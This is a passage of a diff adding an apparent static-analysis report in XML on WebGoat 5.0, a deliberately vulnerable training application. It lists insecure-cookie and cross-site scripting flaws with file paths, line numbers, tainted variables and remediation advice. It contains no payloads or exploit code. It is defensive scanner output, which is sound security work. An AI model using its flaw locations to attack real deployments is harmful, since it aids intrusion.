+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
